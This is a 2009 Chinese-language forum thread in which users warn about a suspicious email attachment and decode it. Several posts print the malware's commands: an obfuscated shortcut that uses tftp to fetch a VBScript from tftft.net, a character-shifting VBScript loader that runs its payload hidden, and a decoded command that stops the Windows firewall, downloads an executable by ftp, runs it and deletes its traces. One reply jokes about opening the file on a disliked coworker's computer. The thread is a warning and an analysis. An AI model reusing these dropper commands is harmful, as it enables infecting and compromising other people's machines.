TWed2k - 文字海洋 - [分享]新型態的病毒傳播方式!

uason
金驢友〔高級〕

思考中

．積分： 2838
．精華： 1
．文章： 1797
．收花： 26771 支
．送花： 4272 支
．比例： 0.16
．在線： 5408 小時
．瀏覽： 24270 頁
．註冊： 8218 天
．失蹤： 0 天
．快樂天堂

#1 : 2009-11-16 10:21 PM 只看本作者	送花 (12) 送出中...

剛收到的信件附加欓覺得很可疑!

他附加欓很小.
只有1K.
解壓縮後是一個類似捷徑的圖示.
執行指令如下.

CODE:

[Copy to clipboard]

%CoMsPEC% /C ecHo %M%%X%%M%P%A%%m%%x%%m%%X%%m%.NE%M%%a%gE%m%%A%%M%%a%F.Vbs>O.BAT&echo S%M%AR%M%%a%f.vBS>>o.BaT&SEt M=t&sEt x=f&SEt a= &O.bAT

也請各位網友多注意這種散播方式!

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

Observer
論壇第一龜毛

藏雲

．積分： 4862
．精華： 5
．文章： 9350
．收花： 41867 支
．送花： 9848 支
．比例： 0.24
．在線： 8114 小時
．瀏覽： 112080 頁
．註冊： 8196 天
．失蹤： 3 天
．單身宿舍

#2 : 2009-11-16 10:43 PM 只看本作者	送花 (0) 送出中...

會怎麼樣呢？

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

45326565
銀驢友〔初級〕

Going down

今日心情

．積分： 511
．精華： 3
．文章： 1161
．收花： 4107 支
．送花： 10851 支
．比例： 2.64
．在線： 1161 小時
．瀏覽： 12841 頁
．註冊： 7313 天
．失蹤： 3540 天
． TW

#3 : 2009-11-16 10:48 PM 只看本作者	送花 (0) 送出中...

*.bat，*.exe，*.html 之類的都最好不要點。

*.bat檔是用指令處理動作的，用左鍵點記事本編輯就能看裡面到底裝三小了

以前用GB雙開或是多重身分執行寫起來超好用，現在都偽裝成騙小孩的木馬跟綁架網頁導向。

記得把收到的信件來址加入黑單內唷

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

uason
金驢友〔高級〕

思考中

．積分： 2838
．精華： 1
．文章： 1797
．收花： 26771 支
．送花： 4272 支
．比例： 0.16
．在線： 5408 小時
．瀏覽： 24270 頁
．註冊： 8218 天
．失蹤： 0 天
．快樂天堂

#4 : 2009-11-16 11:27 PM 只看本作者	送花 (0) 送出中...

解出來就是這樣：

CODE:

[Copy to clipboard]

%CoMsPEC% /C ecHo tftP tftft.NEt gEt t F.Vbs>O.BAT
echo StARt f.vBS>>o.BaT
o.bat

o.bat 的內容就會是這樣：

CODE:

[Copy to clipboard]

tftP tftft.NEt gEt t F.Vbs
StARt f.vBS

抓下來的 F.VBs 內容：

CODE:

[Copy to clipboard]

sub k
for i=1 to UBound(s)
r=r&chr(s(i)-823)
next
Set kk = CreateObject("Wscript.Shell")
kk.run r,0
end sub
s=array(836,922 ... 中略 ... 942,870)
k

至於執行後有啥後果?
就要試試才知道了.

以上資料轉自三秒練功房

[uason 在 2009-11-16 11:46 PM 作了最後編輯]

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

watchme
銀驢友〔高級〕

無我

今日心情

．積分： 926
．文章： 2172
．收花： 8002 支
．送花： 3872 支
．比例： 0.48
．在線： 3516 小時
．瀏覽： 31393 頁
．註冊： 7458 天
．失蹤： 0 天
． TWed2k-DVD幫

#5 : 2009-11-17 10:02 AM 只看本作者	送花 (3) 送出中...

最後那個 VBs 是一次編碼的方式包裝惡意程式，主要目的就是為了躲避防毒防木馬軟體的偵測。陣列中的值各減去 823 之後組成一個新的 Script 給 W.Shell 執行 (0x0D 0x63 )，也許還有另外一層，也許沒有。總之，會這樣畏縮的程式，絕不是好東西。

CODE:

[Copy to clipboard]

cmd /c net stop sharedaccess&echo o tftft.net>n.txt&echo aa33>>n.txt&echo bb33>>n.txt&echo recv d d.exe>>n.txt&echo bye>>n.txt&ftp -s:n.txt&del n.txt&d.exe&attrib ?.vbs -r&del ? ?.exe ?.vbs ?.bat&start http://buy.yahoo.com.tw/

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

老江
版主

School Days推廣

．積分： 391
．精華： 1
．文章： 3664
．收花： 1702 支
．送花： 8225 支
．比例： 4.83
．在線： 650 小時
．瀏覽： 18020 頁
．註冊： 7459 天
．失蹤： 142 天

#6 : 2009-11-17 09:33 PM 只看本作者	送花 (0) 送出中...

蠻有趣的，簡單的說他傳的不是程式
是讓你自己用自己的電腦寫一隻程式出來
vb可以這樣搞喔
我還在想沒有compiler傳這種有用嗎

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

qqchien
銀驢友〔高級〕

謙謙

．積分： 808
．文章： 1455
．收花： 7196 支
．送花： 3339 支
．比例： 0.46
．在線： 722 小時
．瀏覽： 23492 頁
．註冊： 6879 天
．失蹤： 3051 天

#7 : 2009-11-18 04:52 PM 只看本作者	送花 (0) 送出中...

檔案名稱就告訴你會後悔了！
通常看到這種檔名就不會去開了吧！

話說 '把收到的信件來址加入黑單內' 真的有用嗎？
通常不是都會換個帳號繼續寄

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

LiuRambo
金驢友〔初級〕

我缺錢

今日心情

．積分： 2086
．文章： 4914
．收花： 18694 支
．送花： 15318 支
．比例： 0.82
．在線： 2069 小時
．瀏覽： 13400 頁
．註冊： 7231 天
．失蹤： 644 天

#8 : 2009-11-21 08:16 AM 只看本作者	送花 (0) 送出中...

引用:

qqchien寫到:

檔案名稱就告訴你會後悔了！
通常看到這種檔名就不會去開了吧！

話說 '把收到的信件來址加入黑單內' 真的有用嗎？
通常不是都會換個帳號繼續寄

對啊
現在的垃圾郵件問題在於你的帳號太容易被人家發覺到
一旦被加入到垃圾郵件俱樂部的寄送名單後
怎麼擋都擋不完的........

除非換帳號

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

htkstw
銀驢友〔初級〕

．積分： 356
．文章： 823
．收花： 2456 支
．送花： 4635 支
．比例： 1.89
．在線： 2126 小時
．瀏覽： 25331 頁
．註冊： 8215 天
．失蹤： 1 天
．台灣高雄市

#9 : 2009-11-21 09:16 AM 只看本作者	送花 (0) 送出中...

關於擋垃圾郵件, 我之前有想過用個人化簽名的方式來擋, 似乎是很有效.
所有寄給我的郵件, 只要它的個人化簽名沒有包含在我允許的特定字串中, 它就會被直接刪除.

只是要我的朋友們都使用這種個人化簽名, 似乎難度很高. 假如朋友們其中有人更改時, 又可能無法立即變更, 會造成收不到郵件. 最後就卡在這個問題無解而作罷.

唉~~還是沒辦法有效擋這些垃圾郵件.

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

bear242
銀驢友〔高級〕

論壇第一純情種

今日心情

．積分： 1004
．精華： 2
．文章： 4433
．收花： 7760 支
．送花： 3663 支
．比例： 0.47
．在線： 1400 小時
．瀏覽： 17637 頁
．註冊： 8171 天
．失蹤： 2272 天
．無知的未來...

#10 : 2009-11-22 11:11 AM 只看本作者	送花 (3) 送出中...

找一個看不爽的同事的電腦借開一下就知道了.

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

Soup
銀驢友〔初級〕

．積分： 523
．文章： 2462
．收花： 4108 支
．送花： 1567 支
．比例： 0.38
．在線： 2035 小時
．瀏覽： 10620 頁
．註冊： 8220 天
．失蹤： 1260 天
．湯

#11 : 2009-11-27 06:26 PM 只看本作者	送花 (0) 送出中...

看了那圖示文字表示他有先警告過你開了會很後悔......

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

jimshow2001
鍛鐵驢友

今日心情

．積分： 85
．文章： 333
．收花： 636 支
．送花： 259 支
．比例： 0.41
．在線： 904 小時
．瀏覽： 8840 頁
．註冊： 6313 天
．失蹤： 14 天

#12 : 2009-11-28 01:49 AM 只看本作者	送花 (0) 送出中...

現在是看到40k內的檔案都會詢問- -
最近朋友的信箱好像中了奇怪的東西
每次用網頁開啟信箱的時候都會自動下載一的文件XD

..感覺超可怕的--

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接

sdbb
銅驢友〔高級〕

．積分： 168
．文章： 415
．收花： 1367 支
．送花： 3719 支
．比例： 2.72
．在線： 1584 小時
．瀏覽： 15241 頁
．註冊： 6873 天
．失蹤： 88 天
．地球

#13 : 2009-11-28 12:17 PM 只看本作者	送花 (0) 送出中...

引用:

老江寫到:

蠻有趣的，簡單的說他傳的不是程式
是讓你自己用自己的電腦寫一隻程式出來
vb可以這樣搞喔
我還在想沒有compiler傳這種有用嗎

vbscript是腳本語言不是vb，只要是win98se以後，就可以直接執行
http://zh.wikipedia.org/wiki/VBScript

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

本文連接